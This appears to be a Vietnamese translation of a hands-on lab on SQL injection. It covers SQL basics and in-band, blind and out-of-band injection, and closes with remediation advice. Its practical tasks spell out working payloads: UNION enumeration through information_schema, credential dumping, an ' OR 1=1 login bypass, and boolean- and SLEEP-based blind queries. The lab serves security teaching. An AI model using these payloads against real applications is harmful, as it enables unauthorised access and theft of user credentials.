Lab

Task
Task 1: Brief
SQL (Structured Query Language) Injection, thường được gọi là SQLi, là một hình thức tấn công vào máy chủ cơ sở dữ liệu của ứng dụng web, khiến các truy vấn độc hại được thực thi. Khi một ứng dụng web giao tiếp với cơ sở dữ liệu thông qua dữ liệu đầu vào từ người dùng mà không được kiểm tra/validate đúng cách, kẻ tấn công có thể:
- đánh cắp dữ liệu riêng tư hoặc dữ liệu khách hàng,
- xóa dữ liệu,
- chỉnh sửa dữ liệu,
- và thậm chí tấn công vào cơ chế xác thực của ứng dụng web để truy cập vào khu vực riêng tư hoặc khu vực dành cho khách hàng.
Đây là lý do SQL Injection là một trong những lỗ hổng web lâu đời nhất, và nó cũng có thể gây ra thiệt hại nặng nề nhất.
Trong phòng lab này, bạn sẽ học:
- Cơ sở dữ liệu là gì.
- SQL là gì, cùng một số lệnh SQL cơ bản.
- Cách phát hiện lỗ hổng SQL.
- Cách khai thác SQL Injection.
- Và với vai trò là lập trình viên, bạn có thể bảo vệ ứng dụng của mình khỏi SQLi như thế nào.

Task 2: What is a Database?
Nếu bạn chưa quen làm việc với cơ sở dữ liệu hoặc khai thác chúng, có thể sẽ có vài thuật ngữ mới cần làm quen. Vì vậy, hãy bắt đầu với những kiến thức cơ bản về cách cơ sở dữ liệu được tổ chức và hoạt động.
Cơ sở dữ liệu (Database) là gì?
Một cơ sở dữ liệu là cách lưu trữ dữ liệu điện tử theo cách có tổ chức.
Cơ sở dữ liệu được quản lý bởi một DBMS (Database Management System - Hệ quản trị cơ sở dữ liệu).
DBMS được chia thành hai nhóm lớn:
- Cơ sở dữ liệu quan hệ (Relational Database)
- Cơ sở dữ liệu phi quan hệ (Non-Relational Database / NoSQL)
Phòng lab này tập trung vào cơ sở dữ liệu quan hệ, những hệ quản trị phổ biến là:
- MySQL
- Microsoft SQL Server
- MS Access
- PostgreSQL
- SQLite
(Sự khác nhau giữa Relational và Non-Relational sẽ được giải thích ở cuối phần này.)
Cách tổ chức dữ liệu trong DBMS
Trong một DBMS, bạn có thể có nhiều database, mỗi cái lưu trữ một tập dữ liệu riêng.
Ví dụ: bạn có một database tên là "shop".
Trong đó bạn muốn lưu thông tin như:
- Sản phẩm đang bán
- Người dùng đã đăng ký tài khoản
- Các đơn hàng đã đặt
Bạn sẽ lưu những dữ liệu này vào các bảng (tables) riêng biệt bên trong database.
Mỗi bảng có tên duy nhất.
Một doanh nghiệp cũng có thể có các database khác như:
- Database quản lý nhân viên
- Database của bộ phận kế toán

Table (Bảng) là gì?
Một bảng gồm cột (columns/fields) và hàng (rows/records).
Bạn có thể hình dung bảng như một bảng tính, trong đó:
- Các cột nằm ngang ở phía trên, chứa tên và kiểu dữ liệu.
- Các hàng chạy dọc xuống, mỗi hàng là một bản ghi dữ liệu.

Columns (Cột / Trường dữ liệu)
Mỗi cột (hay trường dữ liệu) có tên duy nhất trong một bảng.
Khi tạo cột, bạn phải chỉ định kiểu dữ liệu, ví dụ:
- Integer — số nguyên
- String — chuỗi văn bản
- Date — ngày tháng
Một số DBMS còn hỗ trợ kiểu phức tạp hơn, như:
- Geospatial — dữ liệu tọa độ, vị trí
Kiểu dữ liệu giúp ngăn lỗi, ví dụ không thể lưu "hello world" vào cột kiểu Date. Nếu cố làm vậy, DBMS sẽ báo lỗi.
Một cột integer có thể bật chế độ tự tăng — mỗi khi thêm dòng mới, nó tự tăng số lên 1.
Cột này thường dùng làm key field, có giá trị duy nhất (unique).
Nó được gọi là primary key, giúp xác định từng dòng cụ thể trong bảng.
Rows (Hàng / Bản ghi)
Mỗi hàng trong bảng là một dòng dữ liệu:
- Khi thêm dữ liệu → tạo hàng mới
- Khi xóa dữ liệu → hàng bị xóa
Relational vs Non-Relational Database
Relational (Cơ sở dữ liệu quan hệ)
- Lưu dữ liệu trong bảng, cột, hàng
- Thường có primary key
- Các bảng có thể tham chiếu nhau qua foreign key
- Dữ liệu được tổ chức chặt chẽ và có cấu trúc
→ Vì có “mối quan hệ” giữa các bảng nên gọi là relational.
Non-Relational (NoSQL)
Ngược lại:
- Không dùng bảng/cột/hàng
- Mỗi "bản ghi" có thể chứa dữ liệu khác nhau
- Không cần schema cố định → linh hoạt hơn
- Phù hợp dữ liệu lớn và thay đổi nhanh
Một số NoSQL phổ biến:
- MongoDB
- Cassandra
- Elasticsearch

Task 3: What is SQL?
SQL (Structured Query Language) là một ngôn ngữ rất mạnh, dùng để truy vấn và thao tác trên cơ sở dữ liệu.
Những truy vấn SQL thường được gọi là câu lệnh (statements).
Trong phần này, ta sẽ học các câu lệnh đơn giản nhất:
- SELECT → lấy dữ liệu
- INSERT → chèn dữ liệu
- UPDATE → cập nhật dữ liệu
- DELETE → xóa dữ liệu
Lưu ý:
- Một số hệ quản trị database có cú pháp hơi khác nhau.
- Ví dụ trong phần này đều dựa trên MySQL.
- SQL không phân biệt chữ hoa chữ thường.
SELECT
SELECT dùng để truy vấn dữ liệu từ database.
Ví dụ 1: Lấy toàn bộ dữ liệu
select * from users;
Kết quả:
| id | username | password |
| 1 | jon | pass123 |
| 2 | admin | p4ssword |
| 3 | martin | secret123 |
- SELECT → yêu cầu database trả về dữ liệu
- * → lấy tất cả cột
- FROM users → từ bảng users
- ; → kết thúc câu lệnh
Ví dụ 2: Chỉ lấy một số cột
select username, password from users;
→ Chỉ trả về 2 cột: username và password.
| username | password |
| jon | pass123 |
| admin | p4ssword |
| martin | secret123 |
Ví dụ 3: LIMIT — giới hạn số dòng trả về
select * from users LIMIT 1;
→ Trả về 1 dòng đầu tiên.
| id | username | password |
| 1 | jon | pass123 |
- Bỏ qua 1 dòng đầu → trả về dòng thứ 2.
- Bỏ qua 2 dòng đầu → trả về dòng thứ 3.
WHERE - lọc dữ liệu theo điều kiện
Ví dụ: bằng ( = )
select * from users where username='admin';
→ Trả về dòng có username = admin.
Ví dụ: khác (!=)
select * from users where username!='admin';
→ Trả về tất cả dòng khác admin.
Ví dụ: OR
select * from users where username='admin' or username='jon';
→ Trả về dòng admin hoặc jon.
Ví dụ: AND
select * from users where username='admin' and password='p4ssword';
→ Chỉ trả về dòng mà cả hai điều kiện đều đúng.
LIKE - tìm kiếm với ký tự đại diện (%)
% đại diện cho “bất kỳ chuỗi ký tự nào”.
Bắt đầu bằng ký tự:
select * from users where username like 'a%';
→ Username bắt đầu bằng chữ a.
Kết thúc bằng ký tự:
select * from users where username like '%n';
→ Username kết thúc bằng chữ n.
Chứa chuỗi ký tự:
select * from users where username like '%mi%';
→ Chứa “mi” trong username.
UNION
UNION kết hợp kết quả của nhiều truy vấn SELECT thành một bảng kết quả.
Yêu cầu:
- Số lượng cột phải giống nhau
- Kiểu dữ liệu tương ứng phải tương tự
- Thứ tự cột phải giống nhau
Ví dụ: gộp khách hàng và nhà cung cấp
Bảng customers và suppliers đều chứa các cột:
- name/company
- address
- city
- postcode
Câu lệnh:
SELECT name,address,city,postcode FROM customers UNION SELECT company,address,city,postcode FROM suppliers;
→ Trả về danh sách địa chỉ hợp nhất của cả khách hàng và nhà cung cấp.
INSERT
insert into users (username,password) values ('bob','password123');
→ Thêm một dòng mới vào bảng users.
UPDATE
update users SET username='root', password='pass123' where username='admin';
→ Cập nhật các dòng có username = admin
→ Thay username thành root và password thành pass123.
DELETE
Xóa 1 dòng
delete from users where username='martin';
→ Xóa dòng có username = martin.
Xóa toàn bộ bảng
delete from users;
→ Vì không có WHERE, toàn bộ dữ liệu trong bảng bị xóa.

Task 4: What is SQL Injection?
Điểm mà một ứng dụng web sử dụng SQL có thể biến thành SQL Injection là khi dữ liệu do người dùng cung cấp được đưa trực tiếp vào câu truy vấn SQL.
Nó trông như thế nào?
Hãy xem tình huống sau: bạn truy cập một blog trực tuyến, và mỗi bài viết có một ID duy nhất. Các bài viết có thể đặt ở chế độ công khai hoặc riêng tư tùy vào việc chúng đã sẵn sàng được phát hành hay chưa. URL của mỗi bài viết có thể trông như sau:
https://website.thm/blog?id=1
Từ URL trên, bạn có thể thấy bài viết được chọn dựa trên tham số id trong query string. Ứng dụng web cần truy xuất bài viết từ cơ sở dữ liệu và có thể sử dụng câu lệnh SQL như sau:
SELECT * from blog where id=1 and private=0 LIMIT 1;
Dựa trên những gì bạn đã học ở phần trước, bạn có thể hiểu câu lệnh SQL này đang tìm trong bảng blog một bài có id bằng 1 và cột private đặt là 0, nghĩa là bài viết có thể được xem công khai, và giới hạn kết quả chỉ còn một dòng.
Như đã đề cập từ đầu phần này, SQL Injection xảy ra khi dữ liệu người dùng được đưa trực tiếp vào truy vấn SQL. Trong ví dụ này, tham số id từ query string được sử dụng nguyên vẹn trong câu truy vấn.
Giả sử bài viết có ID 2 vẫn đang để chế độ private, nên không thể xem trên trang web. Lúc này chúng ta có thể gọi URL:
https://website.thm/blog?id=2;--
Điều này sẽ tạo ra câu truy vấn SQL:
SELECT * from blog where id=2;-- and private=0 LIMIT 1;
Dấu chấm phẩy trong URL đánh dấu kết thúc câu lệnh SQL, và hai dấu gạch ngang khiến mọi thứ phía sau trở thành comment. Bằng cách này, bạn thực chất chỉ chạy câu truy vấn:
SELECT * from blog where id=2;--
Câu này sẽ trả về bài viết có ID 2 dù nó đang ở chế độ công khai hay không.
Đây chỉ là một ví dụ về lỗ hổng SQL Injection thuộc loại In-Band SQL Injection; tổng cộng có ba loại: In-Band, Blind và Out-of-Band, và chúng sẽ được đề cập trong các phần tiếp theo.

Task 5: In-Band SQLi
In-Band SQL Injection
In-Band SQL Injection là loại dễ phát hiện và khai thác nhất; “In-Band” chỉ việc cùng một kênh giao tiếp được dùng cả để khai thác lỗ hổng và để nhận kết quả. Ví dụ, bạn phát hiện lỗ hổng SQL Injection trên một trang web và có thể trích xuất dữ liệu từ cơ sở dữ liệu ngay trên chính trang đó.
Error-Based SQL Injection
Kiểu SQL Injection này hữu ích nhất khi muốn lấy thông tin về cấu trúc của cơ sở dữ liệu, vì các thông báo lỗi từ database được in trực tiếp lên trình duyệt. Điều này thường được dùng để liệt kê toàn bộ database.
Union-Based SQL Injection
Kiểu Injection này sử dụng toán tử SQL UNION kết hợp với câu lệnh SELECT để trả thêm dữ liệu lên trang. Đây là cách phổ biến nhất để trích xuất lượng lớn dữ liệu thông qua lỗ hổng SQL Injection.
Practical:
Nhấn nút “Start Machine” để sử dụng lab thực hành SQL Injection Example. Mỗi level có một trình duyệt giả lập và các khung SQL Query và Error để hỗ trợ bạn viết đúng truy vấn/payload. Bạn có thể cần tải lại trang nếu nhận lỗi 502 Bad Gateway sau khi máy khởi động.
Level một của lab có một trình duyệt giả lập và một website mô phỏng blog với các bài viết khác nhau, truy cập bằng cách thay đổi số id trong query string.
Chìa khóa để phát hiện lỗi Error-Based SQL Injection là phá vỡ câu SQL bằng cách thử các ký tự đặc biệt cho đến khi xuất hiện thông báo lỗi; thường gặp nhất là dấu nháy đơn (') hoặc nháy kép (").
Hãy thử nhập dấu nháy đơn (') sau id=1 rồi nhấn Enter. Bạn sẽ thấy có lỗi SQL báo sai cú pháp. Việc xuất hiện thông báo lỗi xác nhận rằng trang tồn tại lỗ hổng SQL Injection. Giờ chúng ta có thể khai thác nó và dùng các lỗi để tìm hiểu thêm về cấu trúc database.
Điều đầu tiên cần làm là trả dữ liệu về trình duyệt mà không gây lỗi. Ta sẽ thử dùng toán tử UNION để nhận thêm một hàng kết quả nếu ta yêu cầu. Hãy đặt tham số id trong trình duyệt giả lập thành:
1 UNION SELECT 1
Câu này sẽ gây lỗi nói rằng số cột trong UNION SELECT khác với số cột trong SELECT gốc. Vậy hãy thử thêm một cột:
1 UNION SELECT 1,2
Vẫn lỗi, vậy thử tiếp:
1 UNION SELECT 1,2,3
Lần này thành công, lỗi biến mất và bài viết được hiển thị, nhưng ta muốn hiển thị dữ liệu của mình thay vì bài viết. Bài viết hiện ra là do mã nguồn của trang lấy hàng đầu tiên trong kết quả và hiển thị nó. Để tránh việc đó, ta cần để truy vấn đầu tiên không trả về kết quả nào. Có thể làm bằng cách đổi ID bài viết từ 1 thành 0.
0 UNION SELECT 1,2,3
Giờ bạn sẽ thấy bài viết được tạo từ kết quả của UNION SELECT, trả về các giá trị 1, 2, 3. Chúng ta có thể dùng các giá trị trả về này để lấy thông tin hữu ích hơn. Trước tiên, ta lấy tên database đang truy cập:
0 UNION SELECT 1,2,database()
Bạn sẽ thấy chỗ hiển thị số 3 lúc trước giờ thay bằng tên database, là sqli_one.
Truy vấn tiếp theo sẽ liệt kê các bảng trong database:
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
Có vài thứ mới trong câu query này. Trước hết, hàm group_concat() lấy giá trị của cột được chỉ định (ở đây là table_name) từ nhiều hàng và ghép thành một chuỗi cách nhau bằng dấu phẩy. Tiếp theo là database information_schema; mọi user database đều có quyền truy cập, và nó chứa thông tin về tất cả database và bảng mà user có quyền. Trong truy vấn này, ta muốn liệt kê tất cả bảng trong database sqli_one, đó là article và staff_users.
Vì mục tiêu level một là tìm mật khẩu của Martin, bảng staff_users là bảng ta cần quan tâm. Ta có thể dùng lại information_schema để tìm cấu trúc bảng này bằng query sau:
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
Câu truy vấn này tương tự câu trước, nhưng thông tin cần lấy được đổi từ table_name sang column_name, bảng truy vấn trong information_schema đổi từ tables sang columns, và ta tìm những hàng có table_name bằng staff_users.
Kết quả cho thấy bảng staff_users có ba cột: id, password và username. Ta có thể dùng các cột này để lấy thông tin người dùng.
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
Ta vẫn dùng group_concat để trả tất cả hàng trong một chuỗi cho dễ đọc. Ta thêm ,':', để tách username và password. Thay vì tách bằng dấu phẩy, ta đặt SEPARATOR '<br>' để mỗi kết quả xuống dòng cho dễ xem.
Giờ bạn đã có mật khẩu của Martin để nhập vào và sang level tiếp theo.

Task 6: Blind SQLi - Authentication Bypass
Blind SQLi
Không giống như In-Band SQL Injection, nơi chúng ta có thể thấy trực tiếp kết quả của cuộc tấn công trên màn hình, blind SQLi xảy ra khi ta nhận được rất ít hoặc hoàn toàn không có phản hồi để xác nhận truy vấn tiêm vào có thành công hay không, vì các thông báo lỗi đã bị tắt, nhưng việc injection vẫn hoạt động. Có thể bạn sẽ bất ngờ khi biết rằng chỉ cần một chút phản hồi nhỏ là đủ để liệt kê toàn bộ database.
Authentication Bypass
Một trong những kỹ thuật Blind SQL Injection dễ nhất là bỏ qua cơ chế xác thực như form đăng nhập. Trong trường hợp này, chúng ta không quan tâm đến việc trích xuất dữ liệu; chúng ta chỉ muốn vượt qua màn đăng nhập.
Các form đăng nhập kết nối với database người dùng thường được phát triển theo cách mà ứng dụng web không quan tâm nội dung username hay password là gì, mà chỉ kiểm tra xem hai giá trị đó có tạo thành một cặp khớp trong bảng users hay không. Nói đơn giản, ứng dụng web hỏi database: “Có người dùng nào có username bob và password bob123 không?” Database trả lời có hoặc không (true/false), và dựa vào câu trả lời đó, ứng dụng web sẽ quyết định cho truy cập hay từ chối.
Từ thông tin trên, chúng ta không cần phải truy xuất cặp username/password hợp lệ; chỉ cần làm cho truy vấn trả về giá trị true.
Practical:
Level Two của phần ví dụ SQL Injection mô tả đúng tình huống này. Trong ô “SQL Query”, ta thấy câu truy vấn gửi đến database là:
select * from users where username='%username%' and password='%password%' LIMIT 1;
Lưu ý: %username% và %password% là giá trị lấy từ hai ô trên form đăng nhập. Ban đầu chúng trống nên câu query sẽ trống ở hai vị trí đó.
Để khiến truy vấn luôn trả về true, ta nhập vào trường password:
' OR 1=1;--
Điều này biến câu truy vấn thành:
select * from users where username='' and password='' OR 1=1;
Vì 1=1 là một biểu thức đúng và ta dùng toán tử OR, câu truy vấn này sẽ luôn trả về true. Điều này khiến ứng dụng web tin rằng database đã tìm thấy một cặp username/password hợp lệ, và cho phép truy cập.

Task 7: Blind SQLi - Boolean Based
Boolean Based
Boolean-based SQL Injection đề cập đến phản hồi mà chúng ta nhận được từ các thử nghiệm injection, có thể là true/false, yes/no, on/off, 1/0 hoặc bất kỳ phản hồi nào chỉ có hai kết quả. Kết quả đó xác nhận payload SQL Injection của chúng ta thành công hay không. Nhìn qua thì bạn có thể nghĩ loại phản hồi giới hạn này không cung cấp được nhiều thông tin. Nhưng chỉ với hai trạng thái này, vẫn có thể liệt kê toàn bộ cấu trúc và dữ liệu trong database.
Practical:
Ở level ba của SQL Injection Examples Machine, bạn thấy một trình duyệt giả lập với URL sau:
https://website.thm/checkuser?username=admin
Nội dung thân trang hiển thị {"taken":true}. Endpoint API này mô phỏng tính năng thường thấy trên nhiều form đăng ký, kiểm tra xem username đã tồn tại chưa để yêu cầu người dùng chọn tên khác. Vì giá trị taken là true, ta có thể giả định username admin đã được đăng ký. Ta có thể kiểm chứng bằng cách đổi username trong thanh địa chỉ từ admin thành admin123, rồi nhấn Enter, bạn sẽ thấy taken đã đổi thành false.
Câu truy vấn SQL được xử lý như sau:
select * from users where username = '%username%' LIMIT 1;
Giá trị duy nhất ta có thể điều khiển là username trong query string, và ta phải dùng nó để thực hiện SQL Injection. Giữ username là admin123, ta có thể bắt đầu nối thêm để khiến database trả về kết quả true, làm thay đổi trường taken từ false sang true.
Giống các level trước, việc đầu tiên là xác định số lượng cột trong bảng users, có thể thực hiện bằng câu lệnh UNION. Đổi giá trị username thành:
admin123' UNION SELECT 1;--
Vì web ứng dụng trả về taken = false, ta biết số cột này không đúng. Tiếp tục thêm cột cho đến khi taken = true. Bạn có thể xác nhận số cột là ba bằng cách đặt username thành:
admin123' UNION SELECT 1,2,3;--
Khi đã xác định số cột, ta có thể bắt đầu liệt kê database. Đầu tiên là tìm tên database. Ta dùng hàm database() và toán tử like để tìm kết quả trả về true.
Thử username sau và xem điều gì xảy ra:
admin123' UNION SELECT 1,2,3 where database() like '%';--
Ta nhận phản hồi true vì trong toán tử like, ta chỉ có ký tự %, ký tự đại diện khớp với mọi thứ. Nếu ta đổi ký tự đại diện thành a%, bạn sẽ thấy phản hồi trở về false, xác nhận rằng tên database không bắt đầu bằng ký tự a. Ta có thể thử lần lượt mọi chữ cái, số, và ký tự như - và _ cho đến khi tìm thấy kết quả đúng. Nếu bạn gửi payload dưới đây, bạn sẽ nhận được true, xác nhận tên database bắt đầu bằng chữ s:
admin123' UNION SELECT 1,2,3 where database() like 's%';--
Bây giờ bạn tiếp tục ký tự tiếp theo trong tên database cho đến khi nhận được phản hồi true, ví dụ 'sa%', 'sb%', 'sc%', v.v. Lặp lại cho đến khi tìm được tất cả ký tự trong tên database, là sqli_three.
Khi đã có tên database, ta có thể dùng nó để liệt kê tên bảng bằng cách sử dụng phương thức tương tự, dùng database information_schema. Hãy đặt username thành giá trị sau:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--
Câu truy vấn này tìm trong database information_schema, bảng tables, nơi database name là sqli_three và table_name bắt đầu bằng chữ a. Vì kết quả trả về false, ta xác nhận không có bảng nào trong database sqli_three bắt đầu bằng a. Như trước, bạn phải thử lần lượt chữ cái, số và ký tự cho đến khi có kết quả đúng.
Cuối cùng bạn sẽ tìm ra một bảng trong sqli_three tên là users, có thể xác nhận bằng payload sau:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--
Cuối cùng, ta cần liệt kê các tên cột trong bảng users để có thể tìm thông tin đăng nhập. Ta lại sử dụng database information_schema và thông tin đã có để truy vấn tên cột. Với payload dưới đây, ta tìm trong bảng columns nơi database bằng sqli_three, table_name bằng users và column_name bắt đầu bằng chữ a.
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';
Bạn sẽ phải thử lần lượt chữ cái, số và ký tự cho đến khi tìm được một cột khớp. Vì bạn tìm nhiều cột, bạn phải thêm điều kiện vào payload mỗi lần tìm thấy một cột mới để tránh lặp lại. Ví dụ, khi bạn tìm được cột id, bạn thêm điều kiện loại bỏ nó vào payload (như dưới đây):
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';
Lặp lại tiến trình này ba lần sẽ giúp bạn tìm ra các cột id, username và password. Giờ bạn có thể dùng chúng để truy vấn bảng users tìm thông tin đăng nhập. Trước hết bạn cần tìm username hợp lệ, có thể dùng payload:
admin123' UNION SELECT 1,2,3 from users where username like 'a%
Khi thử hết các ký tự, bạn sẽ xác nhận sự tồn tại của username admin. Khi đã có username, bạn có thể tìm password. Payload dưới đây cho bạn biết cách tìm password:
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%
Thử tất cả ký tự, bạn sẽ tìm ra password là 3845.
Giờ bạn có thể dùng username và password đã liệt kê được qua blind SQL Injection trên form đăng nhập để vào level tiếp theo.

Task 8: Blind SQLi - Time Based
Time-Based
Một cuộc tấn công time-based blind SQL injection rất giống với boolean-based ở chỗ ta gửi cùng kiểu request, nhưng lần này không có bất kỳ dấu hiệu trực quan nào cho biết truy vấn đúng hay sai. Thay vào đó, chỉ báo của một truy vấn đúng dựa trên thời gian mà truy vấn mất để hoàn thành. Độ trễ này được tạo ra bằng cách sử dụng các hàm có sẵn như SLEEP(x) kết hợp với câu lệnh UNION. Hàm SLEEP() chỉ được thực thi khi câu UNION SELECT thành công.
Ví dụ, khi cố xác định số lượng cột trong bảng, ta sẽ dùng truy vấn sau:
admin123' UNION SELECT SLEEP(5);--
Nếu không có độ trễ trong thời gian phản hồi, ta biết rằng truy vấn không thành công, nên giống như các nhiệm vụ trước, ta thêm một cột:
admin123' UNION SELECT SLEEP(5),2;--
Payload này sẽ tạo ra độ trễ 5 giây, xác nhận câu UNION đã thực thi thành công và rằng bảng có hai cột.
Bây giờ bạn có thể lặp lại quá trình liệt kê giống như trong boolean-based SQL injection, thêm hàm SLEEP() vào câu UNION SELECT.
Nếu bạn gặp khó khăn khi tìm tên bảng, truy vấn dưới đây có thể giúp bạn:
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--

Task 9: Out-of-Band SQLi
Out-of-band SQL Injection không phổ biến bằng các loại khác vì nó phụ thuộc vào một số tính năng cụ thể phải được bật trên máy chủ cơ sở dữ liệu hoặc vào logic xử lý của ứng dụng web, nơi có một cuộc gọi mạng bên ngoài được thực hiện dựa trên kết quả của truy vấn SQL.
Một cuộc tấn công Out-of-Band được phân loại bởi việc có hai kênh giao tiếp khác nhau: một để thực hiện cuộc tấn công và một để thu thập kết quả. Ví dụ: kênh tấn công có thể là một yêu cầu web, và kênh thu thập dữ liệu có thể là việc giám sát các yêu cầu HTTP/DNS được gửi đến dịch vụ do bạn kiểm soát.
- Kẻ tấn công gửi một yêu cầu đến website có lỗ hổng SQL Injection cùng với payload injection.
- Website thực thi truy vấn SQL đến cơ sở dữ liệu và truy vấn này cũng bao gồm payload của hacker.
- Payload chứa một yêu cầu buộc hệ thống gửi một HTTP request quay về máy của hacker, mang theo dữ liệu từ cơ sở dữ liệu.


Task 10: Remediation
Remediation
Mặc dù lỗ hổng SQL Injection gây ảnh hưởng rất lớn, các lập trình viên vẫn có thể bảo vệ ứng dụng web của mình khỏi chúng bằng cách áp dụng các biện pháp sau:
Prepared Statements (với Parameterized Queries):
Trong một truy vấn đã chuẩn bị (prepared query), lập trình viên viết câu SQL trước, sau đó mới thêm dữ liệu người dùng vào dưới dạng tham số. Việc sử dụng prepared statements đảm bảo cấu trúc câu SQL không thay đổi và database có thể phân biệt giữa câu truy vấn và dữ liệu. Ngoài ra, nó còn giúp mã nguồn sạch hơn và dễ đọc hơn.
Input Validation:
Kiểm tra đầu vào có thể giúp bảo vệ dữ liệu được đưa vào câu truy vấn SQL. Sử dụng allow list có thể giới hạn đầu vào chỉ trong một số chuỗi cho phép, hoặc dùng phương pháp thay thế chuỗi trong ngôn ngữ lập trình để lọc các ký tự muốn cho phép hoặc không cho phép.
Escaping User Input:
Cho phép người dùng nhập các ký tự như ' " $ \ có thể khiến câu truy vấn SQL bị lỗi, hoặc tệ hơn, như ta đã học, làm xuất hiện cơ hội tấn công injection. Escaping user input là phương pháp thêm một ký tự gạch chéo () phía trước các ký tự đặc biệt này, khiến chúng được xử lý như chuỗi thông thường thay vì ký tự đặc biệt.
